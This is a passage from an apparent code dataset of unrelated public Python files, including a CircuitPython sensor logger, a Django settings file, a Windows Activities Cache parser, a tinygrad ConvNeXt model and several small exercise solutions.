arg[index]\n range_index_start = index\n index += 1\n if a > 1:\n rangeExtracted = f\"{range_start}-{range_start + a}\"\n arg = (\n arg[0:range_index_start]\n + [rangeExtracted]\n + arg[range_index_start + a + 1 :]\n )\n index = index - a\n index += 1\n a = 0\n del arg[-1]\n arg = map(str, arg)\n final_list = \",\".join(arg)\n return final_list\n\n\nprint(\n solution([-6, -3, -2, -1, 0, 1, 3, 4, 5, 7, 8, 9, 10, 11, 14, 15, 17, 18, 19, 20])\n)\nprint(solution([-3, -2, -1, 2, 10, 15, 16, 18, 19, 20]))\n","repo_name":"chocapiq/codewars","sub_path":"4kyu Range extraction.py","file_name":"4kyu Range extraction.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20444031181","text":"# import pyaudio\n# import wave\n#\n# CHUNK = 1024\n# FORMAT = pyaudio.paInt16\n# CHANNELS = 2\n# RATE = 44100\n#\n#\n# def record(trigger):\n# p = pyaudio.PyAudio()\n#\n# stream = p.open(format=FORMAT,\n# channels=CHANNELS,\n# rate=RATE,\n# input=True,\n# frames_per_buffer=CHUNK)\n#\n# print(\"Start recording\")\n#\n# frames = []\n#\n# try:\n# while trigger:\n# data = stream.read(CHUNK)\n# frames.append(data)\n# except KeyboardInterrupt:\n# print(\"Done recording\")\n# except Exception as e:\n# print(str(e))\n#\n# sample_width = p.get_sample_size(FORMAT)\n#\n# stream.stop_stream()\n# stream.close()\n# p.terminate()\n#\n# return sample_width, frames\n#\n#\n# def record_to_file(file_path):\n# wf = wave.open(file_path, 'wb')\n# wf.setnchannels(CHANNELS)\n# sample_width, frames = record()\n# wf.setsampwidth(sample_width)\n# wf.setframerate(RATE)\n# wf.writeframes(b''.join(frames))\n# wf.close()\n#\n#\n# if __name__ == '__main__':\n# print('#' * 80)\n# print(\"Please speak word(s) into the microphone\")\n# print('Press Ctrl+C to stop the recording')\n#\n# record_to_file('output.mp3')\n#\n# print(\"Result written to output.wav\")\n# print('#' * 80)\n#\n# import tkinter\n# import tkinter as tk\n# import tkinter.messagebox\nimport pyaudio\nimport wave\nimport os\n\n\nclass RecAUD:\n\n def __init__(self, chunk=1024, frmat=pyaudio.paInt16, channels=2, rate=44100, py=pyaudio.PyAudio()):\n\n # Start Tkinter and set Title\n # self.main = tkinter.Tk()\n self.collections = []\n # self.main.geometry('500x300')\n # self.main.title('Record')\n self.CHUNK = chunk\n self.FORMAT = frmat\n self.CHANNELS = channels\n self.RATE = rate\n self.p = py\n self.frames = []\n self.st = 1\n self.stream = self.p.open(format=self.FORMAT, channels=self.CHANNELS, rate=self.RATE, input=True, frames_per_buffer=self.CHUNK)\n\n # Set Frames\n # self.buttons = tkinter.Frame(self.main, padx=120, pady=20)\n\n # Pack Frame\n # self.buttons.pack(fill=tk.BOTH)\n\n\n\n # Start and Stop buttons\n # self.strt_rec = tkinter.Button(self.buttons, width=10, padx=10, pady=5, text='Start Recording', command=lambda: self.start_record())\n # self.strt_rec.grid(row=0, column=0, padx=50, pady=5)\n # self.stop_rec = tkinter.Button(self.buttons, width=10, padx=10, pady=5, text='Stop Recording', command=lambda: self.stop())\n # self.stop_rec.grid(row=1, column=0, columnspan=1, padx=50, pady=5)\n\n # tkinter.mainloop()\n\n def start_record(self):\n self.st = 1\n self.frames = []\n stream = self.p.open(format=self.FORMAT, channels=self.CHANNELS, rate=self.RATE, input=True, frames_per_buffer=self.CHUNK)\n while self.st == 1:\n data = stream.read(self.CHUNK)\n self.frames.append(data)\n print(\"* recording\")\n # self.main.update()\n\n stream.close()\n\n wf = wave.open('test_recording.wav', 'wb')\n wf.setnchannels(self.CHANNELS)\n wf.setsampwidth(self.p.get_sample_size(self.FORMAT))\n wf.setframerate(self.RATE)\n wf.writeframes(b''.join(self.frames))\n wf.close()\n\n def stop(self):\n self.st = 0\n\n\n# Create an object of the ProgramGUI class to begin the program.\n# guiAUD = RecAUD()","repo_name":"Pamal-Ranasinghe/e_learning_lecture_recoder","sub_path":"audio_recorder/audio_recorder.py","file_name":"audio_recorder.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41593020941","text":"import sqlite3\nconn = sqlite3.connect(\"samsongDB\") # Connect to DB\ncur = conn.cursor() # Create a cursor\n\nsql = \"SELECT * FROM userTable\"\ncur.execute(sql)\nrows = cur.fetchall()\n\nprint(rows)\n\ncur.close()\nconn.close() # Close the DB","repo_name":"Roasters/ComputerVision","sub_path":"SQLiteDataPull.py","file_name":"SQLiteDataPull.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38061298483","text":"\"\"\"\nLet's take the previous example and add some exciting new features to make it even more enjoyable! We'll leverage asynchronous programming to store the measured data on the TMEP.cz service and also save it to an SD card.\n\nTo get started, let's set up a TMEP.cz account and create a new device. Once done, you'll receive a unique domain name for your device. Don't forget to set the domain name as an environment variable named TMEP_DOMAIN in the settings.toml file.\n\nNext, ensure you've set the WiFi SSID and password as environment variables CIRCUITPY_WIFI_SSID and CIRCUITPY_WIFI_PASSWORD in the settings.toml file.\n\nNow, let's enhance the data recording capability by utilizing a microSD card. Insert the microSD card into the Picopad. Alongside the data, we'd also like to store the measurement date and time accurately.\nTo achieve this, we'll use NTP and RTC (Real-Time Clock) to get the current date and time.\n\nWe will define three asynchonous tasks:\n- measure_and_display task: to measure the sensor data and display them on the screen every 5 seconds\n- send_to_tmep task: to send the measured data to TMEP.cz service every 5 minutes\n- save_to_sdcard task: to save the measured data to SD card every 2 minutes\n\nYou can find the required libraries in the CircuitPython library bundle (https://circuitpython.org/libraries).\n\"\"\"\n\nimport board\nimport busio\nimport displayio\nfrom adafruit_display_text import label\nimport adafruit_imageload\nimport asyncio\nimport digitalio\nfrom extra_font import ExtraFont\n\nimport wifi\nimport ssl\nimport socketpool\nimport os\n\nimport adafruit_requests\nimport adafruit_ntp\nimport rtc\n\nimport busio\nimport sdcardio\nimport storage\n\n\nfrom sensor_scd4x import Sensor\n# if you don't have SCD4x, you can try use internal temperature sensor of rp2040 as a demo\n# from sensor_internal import Sensor\n\n# global variable to store the measured values\nmeasurements = None\n\n\n# initialize the display\ndisplay = board.DISPLAY\ngroup = displayio.Group(scale=2)\n\n# The built-in missing some useful glyphs (characters) e.g. degree (°), so I made a small workaround.\n# ExtraFont class from extra_font.py extends the terminalio.FONT and adds the missing character from extra.bdf bitmap font contains only that glyph. \nfont = ExtraFont()\n\n# initialize the sensor\nsensor = Sensor()\n\n# initialize the LED\nled = digitalio.DigitalInOut(board.LED)\nled.direction = digitalio.Direction.OUTPUT\n\n\n# we will use a sprite sheet to display the icons, color on index 3 will be transparent\nsprite_sheet, palette = adafruit_imageload.load(\"/assets.bmp\")\npalette.make_transparent(3)\n\n# prepare the text areas for the measured values\ntop = 20\nincrement = 40\n\ntext_areas = {}\n\ntypes_to_icons = {\n \"temperature\": 0,\n \"humidity\": 1,\n \"co2\": 2,\n \"pressure\": 3,\n}\n\nfor reading, data in sensor.readings.items():\n text_areas[reading] = label.Label(font, text='', color=0xFFFFFF, x=45, y=top)\n\n group.append(text_areas[reading])\n\n sprite = displayio.TileGrid(sprite_sheet, pixel_shader=palette,\n width = 1,\n height = 1,\n tile_width = 16,\n tile_height = 32,\n default_tile = types_to_icons[data[\"type\"]]\n )\n sprite.x = 20\n sprite.y = top - 15\n group.append(sprite)\n top += increment\n\ndisplay.show(group)\n\n\n\n# Setup SD card and mount it to /sd directory\nspi = busio.SPI(board.SD_SCK, MOSI=board.SD_MOSI, MISO=board.SD_MISO)\ncs = board.SD_CS\nsdcard = sdcardio.SDCard(spi, cs)\nvfs = storage.VfsFat(sdcard)\nstorage.mount(vfs, \"/sd\")\n\n\n# Initialize WiFi\nwifi.radio.connect(os.getenv('CIRCUITPY_WIFI_SSID'), os.getenv('CIRCUITPY_WIFI_PASSWORD'))\n\npool = socketpool.SocketPool(wifi.radio)\nrequests = adafruit_requests.Session(pool, ssl.create_default_context()) \n\n# Set up NTP\nntp = adafruit_ntp.NTP(pool, tz_offset=2)\n# Set up RTC\nrtc.RTC().datetime = ntp.datetime\nprint(\"Time synced from NTP\")\n\n\n# Asynchronous function to send the data to TMEP.cz - every 5 minutes\nasync def send_to_tmep():\n global measurements\n global requests\n while True:\n if measurements:\n # generate TMEP URL\n query_string = \"?\"\n for measurement in measurements:\n query_string += measurement.tag + \"=\" + str(measurement.value) + \"&\"\n url = \"http://%s/%s\" % (os.getenv('TMEP_DOMAIN'), query_string)\n # print(url)\n \n requests.get(url)\n print(\"Data send to TMEP\") \n\n await asyncio.sleep(5*60) # Sleep for 5 minutes\n\n\n# Asynchronous function to save the data to SD card - every 2 minutes\nasync def save_to_sdcard():\n global measurements\n global requests\n while True:\n if measurements:\n with open(\"/sd/data.csv\", \"a\") as f:\n temp = sensor.get_measurement(\"temp\")\n humi = sensor.get_measurement(\"humi\")\n co2 = sensor.get_measurement(\"CO2\")\n # prepare the date and time string\n dt = rtc.RTC().datetime\n date = \"%04d-%02d-%02d %02d:%02d:%02d\" %(dt.tm_year, dt.tm_mon, dt.tm_mday, dt.tm_hour, dt.tm_min, dt.tm_sec)\n\n f.write(\"%s;%s;%s;%s\\n\" % (date, temp.value, humi.value, co2.value))\n\n print(\"Data saved to SD card\")\n\n await asyncio.sleep(2*60) # Sleep for 2 minutes\n\n\n# Asynchronous function to measure and update the display\nasync def measure_and_display(sensor, text_areas, display):\n global measurements\n while True:\n # measure the sensor data\n measurements = sensor.measure()\n\n # update the display\n for measurement in measurements:\n text_areas[measurement.tag].text = \"%.1f %s\" %(measurement.value, measurement.unit)\n display.refresh()\n\n await asyncio.sleep(5) # Sleep for 5 seconds\n\n\n# Prepare the event loop\nloop = asyncio.get_event_loop()\n\n# Schedule both tasks to run concurrently\nloop.run_until_complete(asyncio.gather(\n send_to_tmep(),\n save_to_sdcard(),\n measure_and_display(sensor, text_areas, display)\n))","repo_name":"Pajenicko/Picopad","sub_path":"circuitpython/sensors/intro/level5/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"61"} +{"seq_id":"13169087647","text":"from typing import Union\n\nfrom hamcrest import assert_that, equal_to\nfrom parameterized import parameterized\n\nfrom app.common.config import Config\nfrom app.common.data_context import DataContext\nfrom app.config import get_config_by_context\n\n\n@parameterized.expand([\n [DataContext.TEST.value, DataContext.TEST.value],\n [DataContext.PROD.value, DataContext.PROD.value],\n [None, DataContext.TEST.value]])\ndef test_get_config_by_context__provide_data_context_test__return_corresponding_config(data_context_value: str,\n expected_config_stage):\n # GIVEN\n expected_config = create_config_for_data_context(expected_config_stage)\n\n # WHEN\n returned_config = get_config_by_context(data_context_value)\n\n # THEN\n assert_that(returned_config, equal_to(expected_config))\n\n\ndef create_config_for_data_context(data_context_value) -> Union[Config, None]:\n if data_context_value == DataContext.TEST.value:\n return Config(\n host=\"https://green-1.consorsfinanz.de\",\n version=\"6.4\",\n tokenRootContext=\"/common-services/cfg\",\n loanRootContext=\"/ratanet-api/cfg\"\n )\n if data_context_value == DataContext.PROD.value:\n return Config(\n host=\"https://api.consorsfinanz.de\",\n version=\"6.4\",\n tokenRootContext=\"/common-services/cfg\",\n loanRootContext=\"/ratanet-api/cfg\"\n )\n return None\n","repo_name":"Vulonus/WetterApi","sub_path":"tests/unit/consorsfinanz/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6500131106","text":"# 鏈結串列, 陣列最大差異於: 前者資料散佈於記憶體各處, 後者為記憶體連續空間\n\n# 建立鏈結串列\n# 建立節點(節點包含資料和下一筆資料的位置)\nclass Node(object):\n def __init__(self, data=None):\n self.data = data # Data\n self.next = None # Pointer\n\n\nn1 = Node(5)\nn2 = Node(15)\nn3 = Node(25)\nn1.next = n2 # n1 -> n2\nn2.next = n3 # n2 -> n3\nptr = n1\nwhile ptr:\n # print(ptr.data)\n ptr = ptr.next # order: n1 -> n2 -> n3\n pass\n\n\n# 建立遍歷鏈結串列類別\nclass LinkedList(object):\n def __init__(self):\n self.head = None # Linked list first node\n\n def print_list(self):\n \"\"\"列印出鏈結串列\"\"\"\n ptr2 = self.head # the indicator points to the first node\n while ptr2:\n print(ptr2.data)\n ptr2 = ptr2.next\n\n def insert_first(self, newdata):\n \"\"\"在第一個節點插入新節點\"\"\"\n new_node = Node(newdata) # create new node\n new_node.next = self.head # new node indicator points to the old first node\n self.head = new_node # update the first node of the linked list\n\n def insert_end(self, newdata):\n \"\"\"在最後的節點插入新節點\"\"\"\n new_node = Node(newdata)\n if self.head is None: # determine whether the linked list is empty\n self.head = new_node\n return\n last_ptr = self.head\n while last_ptr.next: # move from the first node to the last node\n last_ptr = last_ptr.next\n last_ptr.next = new_node # the last node indicator points to the new node\n\n def remove_node(self, rm_val):\n \"\"\"rm_val: 刪除值\"\"\"\n ptr2 = self.head\n prev = 0\n if ptr2: # if the deleted data is the first node\n if ptr2.data == rm_val:\n self.head = ptr2.next\n return\n while ptr2:\n if ptr2.data == rm_val:\n break\n prev = ptr2\n ptr2 = ptr2.next\n if ptr2 is None:\n return\n prev.next = ptr2.next\n\n\nlink = LinkedList()\nlink.head = Node(3)\nn4 = Node(6)\nn5 = Node(9)\nlink.head.next = n4\nn4.next = n5\nlink.print_list()\nprint(\"New Linked List: \")\nlink.insert_first(12)\nlink.print_list()\nprint(\"New Linked List: \")\nlink.remove_node(12)\nlink.print_list()\n","repo_name":"Sapphire0912/Programming","sub_path":"Python/Practice/Algorithm_DataStructure/Ch03 Linked list/Tutorial_03.py","file_name":"Tutorial_03.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36592074345","text":"import ujson\nimport binascii\nfrom collections import OrderedDict\nfrom winactivities.helpers import DbHandler, datetime_decode_1970_str\n\nACTIVITIES_SCHEMA = {\n \"tables\": [\n \"Activity\",\n \"Activity_PackageId\",\n \"ActivityAssetCache\",\n \"ActivityOperation\",\n \"AppSettings\",\n \"ManualSequence\",\n \"Metadata\"\n ],\n \"views\": [\n \"SmartLookup\"\n ]\n}\n\n\nclass ActivitiesDb(object):\n def __init__(self, source):\n self._source = source\n self.db_handler = DbHandler(\n database=self._source\n )\n\n def iter_records(self):\n for table_name in ACTIVITIES_SCHEMA[\"tables\"]:\n query_str = \"\"\"\n SELECT rowid, *\n FROM {}\n \"\"\".format(table_name)\n for row in self.db_handler.iter_rows(query_str):\n record = self.get_record(table_name, row)\n setattr(record, \"_table\", table_name)\n yield record\n\n def get_record(self, collection_name, row):\n if collection_name == \"Activity\":\n return ActivityRecord(row)\n elif collection_name == \"Activity_PackageId\":\n return PackageIdRecord(row)\n elif collection_name == \"ActivityOperation\":\n return ActivityOperationRecord(row)\n else:\n return GenericRecord(row)\n\n def get_activity_sequence(self):\n sequence_query_str = \"\"\"\n SELECT\n ManualSequence.Value\n FROM\n ManualSequence\n WHERE \"Key\" LIKE \"Activity\"\n \"\"\"\n connection = self.db_handler.get_connection()\n cursor = connection.cursor()\n cursor.execute(sequence_query_str)\n sequence = cursor.fetchone()\n return sequence[0]\n\n def iter_activities(self, sequence=0):\n query_str = \"\"\"\n SELECT rowid, *\n FROM Activity\n WHERE ETag > {}\n ORDER BY ETag DESC\n \"\"\".format(sequence)\n for row in self.db_handler.iter_rows(query_str):\n yield ActivityRecord(row)\n\n\nclass GenericRecord(dict):\n def __init__(self, row):\n self.update(row)\n\n def as_ordered_dict(self):\n \"\"\"Reformat record\"\"\"\n record = OrderedDict([])\n record.update(self)\n return record\n\n\nclass ActivityOperationRecord(dict):\n def __init__(self, row):\n self.update(row)\n\n def as_ordered_dict(self):\n \"\"\"Reformat record\"\"\"\n record = OrderedDict([\n (\"OperationOrder\", self[\"OperationOrder\"]),\n (\"Id\", binascii.b2a_hex(self[\"Id\"])),\n (\"OperationType\", self[\"OperationType\"]),\n (\"AppId\", ujson.loads(self[\"AppId\"])),\n (\"PackageIdHash\", self[\"PackageIdHash\"]),\n (\"AppActivityId\", self[\"AppActivityId\"]),\n (\"ActivityType\", self[\"ActivityType\"]),\n (\"ParentActivityId\", self[\"ParentActivityId\"]),\n (\"Tag\", self[\"Tag\"]),\n (\"Group\", self[\"Group\"]),\n (\"MatchId\", self[\"MatchId\"]),\n (\"LastModifiedTime\", datetime_decode_1970_str(self[\"LastModifiedTime\"])),\n (\"ExpirationTime\", datetime_decode_1970_str(self[\"ExpirationTime\"])),\n (\"Payload\", ujson.loads(self[\"Payload\"])),\n (\"Priority\", self[\"Priority\"]),\n (\"CreatedTime\", datetime_decode_1970_str(self[\"CreatedTime\"])),\n (\"Attachments\", self[\"Attachments\"]),\n (\"PlatformDeviceId\", self[\"PlatformDeviceId\"]),\n (\"CreatedInCloud\", self[\"CreatedInCloud\"]),\n (\"StartTime\", datetime_decode_1970_str(self[\"StartTime\"])),\n (\"EndTime\", datetime_decode_1970_str(self[\"EndTime\"])),\n (\"LastModifiedOnClient\", self[\"LastModifiedOnClient\"]),\n (\"CorrelationVector\", self[\"CorrelationVector\"]),\n (\"GroupAppActivityId\", self[\"GroupAppActivityId\"]),\n (\"ClipboardPayload\", self[\"ClipboardPayload\"]),\n (\"EnterpriseId\", self[\"EnterpriseId\"]),\n (\"OriginalPayload\", self[\"OriginalPayload\"]),\n (\"OriginalLastModifiedOnClient\", self[\"OriginalLastModifiedOnClient\"]),\n (\"ETag\", self[\"ETag\"])\n ])\n\n return record\n\n\nclass PackageIdRecord(dict):\n def __init__(self, row):\n self.update(row)\n\n def as_ordered_dict(self):\n \"\"\"Reformat record\"\"\"\n record = OrderedDict([\n (\"_rowid\", self[\"rowid\"]),\n (\"ActivityId\", binascii.b2a_hex(self[\"ActivityId\"])),\n (\"Platform\", self[\"Platform\"]),\n (\"PackageName\", self[\"PackageName\"]),\n (\"ExpirationTime\", self[\"ExpirationTime\"])\n ])\n\n return record\n\n\nclass ActivityRecord(dict):\n def __init__(self, row):\n self.update(row)\n\n def as_ordered_dict(self):\n \"\"\"Reformat record\"\"\"\n record = OrderedDict([\n (\"_rowid\", self[\"rowid\"]),\n (\"Id\", binascii.b2a_hex(self[\"Id\"])),\n (\"AppId\", ujson.loads(self['AppId'])),\n (\"PackageIdHash\", self[\"PackageIdHash\"]),\n (\"AppActivityId\", self[\"AppActivityId\"]),\n (\"ActivityType\", self[\"ActivityType\"]),\n (\"ActivityStatus\", self[\"ActivityStatus\"]),\n (\"ParentActivityId\", binascii.b2a_hex(self[\"ParentActivityId\"])),\n (\"Tag\", self[\"Tag\"]),\n (\"Group\", self[\"Group\"]),\n (\"MatchId\", self[\"MatchId\"]),\n (\"LastModifiedTime\", datetime_decode_1970_str(\n self[\"LastModifiedTime\"])\n ),\n (\"ExpirationTime\", datetime_decode_1970_str(\n self[\"ExpirationTime\"])\n ),\n (\"Payload\", ujson.loads(self['Payload'])),\n (\"Priority\", self[\"Priority\"]),\n (\"IsLocalOnly\", self[\"IsLocalOnly\"]),\n (\"PlatformDeviceId\", self[\"PlatformDeviceId\"]),\n (\"CreatedInCloud\", self[\"CreatedInCloud\"]),\n (\"StartTime\", datetime_decode_1970_str(\n self[\"StartTime\"])\n ),\n (\"EndTime\", datetime_decode_1970_str(\n self[\"EndTime\"])\n ),\n (\"LastModifiedOnClient\", datetime_decode_1970_str(\n self[\"LastModifiedOnClient\"])\n ),\n (\"GroupAppActivityId\", self[\"GroupAppActivityId\"]),\n (\"ClipboardPayload\", self[\"ClipboardPayload\"]),\n (\"EnterpriseId\", self[\"EnterpriseId\"]),\n (\"OriginalPayload\", self[\"OriginalPayload\"]),\n (\"OriginalLastModifiedOnClient\", datetime_decode_1970_str(\n self[\"OriginalLastModifiedOnClient\"])\n ),\n (\"ETag\", self[\"ETag\"])\n ])\n\n return record\n","repo_name":"forensicmatt/ActivitiesCacheParser","sub_path":"winactivities/activities.py","file_name":"activities.py","file_ext":"py","file_size_in_byte":6642,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"22190338835","text":"from typing import List, Tuple\n\nfrom Game import Game\nfrom Game.Game import Move\nfrom InterestingStuff.Game.Player import Player\nfrom InterestingStuff.GameUtils import get_closest_food_dist\nimport random\n\n\nclass PacmanPlayer(Player):\n def win(self, game):\n pass\n\n def __init__(self, game: Game, pacman):\n super().__init__(game)\n self.pacman = pacman\n\n def evaluation(self, game: Game) -> float:\n val = game.g_map.distance_evaluator.get_dist(self.pacman[0], self.game.g_map.Blinky,\n game.g_map.distance_evaluator.get_dist_manhattan)\n\n val += game.g_map.distance_evaluator.get_dist(self.pacman[0], self.game.g_map.Speedy,\n game.g_map.distance_evaluator.get_dist_manhattan)\n\n val += game.g_map.distance_evaluator.get_dist(self.pacman[0], self.game.g_map.Inky,\n\n game.g_map.distance_evaluator.get_dist_manhattan)\n\n val += game.g_map.distance_evaluator.get_dist(self.pacman[0], self.game.g_map.Clyde,\n game.g_map.distance_evaluator.get_dist_manhattan)\n\n min_food_dist = get_closest_food_dist((self.pacman[0].x, self.pacman[0].y), self.game.g_map)\n\n if min_food_dist == 0:\n min_food_dist = 0.1\n\n ret = self.game.mocked_score - (1 / val) * game.scatter() + (1 / min_food_dist)\n\n if game.scatter() == -1:\n ret = 1 / val\n\n return ret\n\n def heuristics(self, game: Game) -> List:\n s = game.rules.get_walkable_neighbouring(self.pacman[0].x, self.pacman[0].y)\n s = sorted(s, key=lambda x: game.g_map.distance_evaluator.get_dist_manhattan(x, (\n self.game.g_map.Clyde.x, self.game.g_map.Clyde.y))\n + game.g_map.distance_evaluator.get_dist_manhattan(x, (\n self.game.g_map.Inky.x, self.game.g_map.Inky.y)) +\n game.g_map.distance_evaluator.get_dist_manhattan(x, (\n self.game.g_map.Speedy.x, self.game.g_map.Speedy.y))\n + game.g_map.distance_evaluator.get_dist_manhattan(x, (\n self.game.g_map.Blinky.x, self.game.g_map.Blinky.y)))\n\n for i in s:\n m = [self.pacman[0], i]\n game.mock_move([m])\n yield [m], 1\n game.revert_move()\n","repo_name":"solcmich/FIT_CVUT","sub_path":"Bachelors/ZUM/Semestral/src/InterestingStuff/Game/PacmanPlayer.py","file_name":"PacmanPlayer.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"17074036776","text":"\"\"\"\nDjango settings for mysite1 project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/dev/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/dev/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n# BASE_DIR= 'C:/ZY/EverythingandNothing/Python/Django/My Sites/mysite1'\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/dev/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'r#_+-uk0@zsek(g)x)5x=b)wrqx74!mg6h7tvi^spky29*#dnp'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nTEMPLATE_DEBUG = True\n\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'polls',\n 'article',\n 'css3two_blog',\n 'south',\n 'django.contrib.markup',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nTEST_DATABASE_CHARSET = \"utf-8\"\n\n#A string representing the full Python import path to your root URLconf.\nROOT_URLCONF = 'mysite1.urls'\n\nWSGI_APPLICATION = 'mysite1.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/dev/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/dev/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Asia/Shanghai'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/dev/howto/static-files/\n\nSTATIC_ROOT = 'C:/ZY/EverythingandNothing/Python/Django/My Sites/static'\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = (os.path.join(BASE_DIR, 'static'),)\nTEMPLATE_DIRS = [os.path.join(BASE_DIR, 'templates')]\n\n# Absolute filesystem parh to the directory that will hold user-uploaded files.\nMEDIA_ROOT = 'C:/ZY/EverythingandNothing/Python/Django/My Sites/media'\nMEDIA_URL = '/media/'","repo_name":"laike9m/mysite1","sub_path":"mysite1/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"21771661912","text":"from tinygrad.tensor import Tensor\nfrom tinygrad.nn import Conv2d, LayerNorm, LayerNorm2d, Linear\nfrom tinygrad.helpers import fetch, get_child\n\nclass Block:\n def __init__(self, dim):\n self.dwconv = Conv2d(dim, dim, kernel_size=7, padding=3, groups=dim)\n self.norm = LayerNorm(dim, eps=1e-6)\n self.pwconv1 = Linear(dim, 4 * dim)\n self.pwconv2 = Linear(4 * dim, dim)\n self.gamma = Tensor.ones(dim)\n\n def __call__(self, x:Tensor):\n return x + x.sequential([\n self.dwconv, lambda x: x.permute(0, 2, 3, 1), self.norm,\n self.pwconv1, Tensor.gelu, self.pwconv2, lambda x: (self.gamma * x).permute(0, 3, 1, 2)\n ])\n\nclass ConvNeXt:\n def __init__(self, in_chans=3, num_classes=1000, depths=[3, 3, 9, 3], dims=[96, 192, 384, 768]):\n self.downsample_layers = [\n [Conv2d(in_chans, dims[0], kernel_size=4, stride=4), LayerNorm2d(dims[0], eps=1e-6)],\n *[[LayerNorm2d(dims[i], eps=1e-6), Conv2d(dims[i], dims[i+1], kernel_size=2, stride=2)] for i in range(len(dims)-1)]\n ]\n self.stages = [[Block(dims[i]) for _ in range(depths[i])] for i in range(len(dims))]\n self.norm = LayerNorm(dims[-1])\n self.head = Linear(dims[-1], num_classes)\n\n def __call__(self, x:Tensor):\n for downsample, stage in zip(self.downsample_layers, self.stages):\n x = x.sequential(downsample).sequential(stage)\n return x.mean([-2, -1]).sequential([self.norm, self.head])\n\n# *** model definition is done ***\n\nversions = {\n \"tiny\": {\"depths\": [3, 3, 9, 3], \"dims\": [96, 192, 384, 768]},\n \"small\": {\"depths\": [3, 3, 27, 3], \"dims\": [96, 192, 384, 768]},\n \"base\": {\"depths\": [3, 3, 9, 3], \"dims\": [128, 256, 512, 1024]},\n \"large\": {\"depths\": [3, 3, 27, 3], \"dims\": [192, 384, 768, 1536]},\n \"xlarge\": {\"depths\": [3, 3, 27, 3], \"dims\": [256, 512, 1024, 2048]}\n}\n\ndef get_model(version, load_weights=False):\n model = ConvNeXt(**versions[version])\n if load_weights:\n from tinygrad.nn.state import torch_load\n weights = torch_load(fetch(f'https://dl.fbaipublicfiles.com/convnext/convnext_{version}_1k_224_ema.pth'))['model']\n for k,v in weights.items():\n mv = get_child(model, k)\n mv.assign(v.reshape(mv.shape).to(mv.device)).realize()\n return model\n\nif __name__ == \"__main__\":\n model = get_model(\"tiny\", True)\n\n # load image\n from test.models.test_efficientnet import chicken_img, preprocess, _LABELS\n img = Tensor(preprocess(chicken_img))\n\n Tensor.training = False\n Tensor.no_grad = True\n\n out = model(img).numpy()\n print(_LABELS[out.argmax()])\n","repo_name":"tinygrad/tinygrad","sub_path":"extra/models/convnext.py","file_name":"convnext.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":20676,"dataset":"github-code","pt":"61"} +{"seq_id":"25058661555","text":"def solution(genres, plays):\n \n table = {}\n total = {}\n for index , (genre,plays) in enumerate(zip(genres,plays)):\n \n if genre not in table:\n table[genre] = [[index,plays],[-1,0]]\n total[genre] = plays\n else:\n table[genre].append([index,plays])\n table[genre].sort()\n table[genre].sort(reverse = True , key = lambda x:x[1])\n table[genre] = table[genre][:2]\n total[genre] = total[genre] +plays\n \n total = sorted(total.items(),key = lambda x: x[1],reverse = True)\n \n answer = []\n \n for name,num in total:\n for a,b in table[name]:\n if a != -1:\n answer.append(a)\n \n\n return answer\na = solution([\"classic\", \"pop\", \"classic\", \"classic\",\"jazz\",\"pop\", \"Rock\", \"jazz\"],[500, 600, 150, 800, 1100, 2500, 100, 1000])\n\n[[[1, 500], [3, 150]], [4, 800]]\n","repo_name":"aver1001/github-practice","sub_path":"programmers/Level 3/베스트 앨범/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16722176775","text":"# -*- coding: utf-8 -*-\nimport 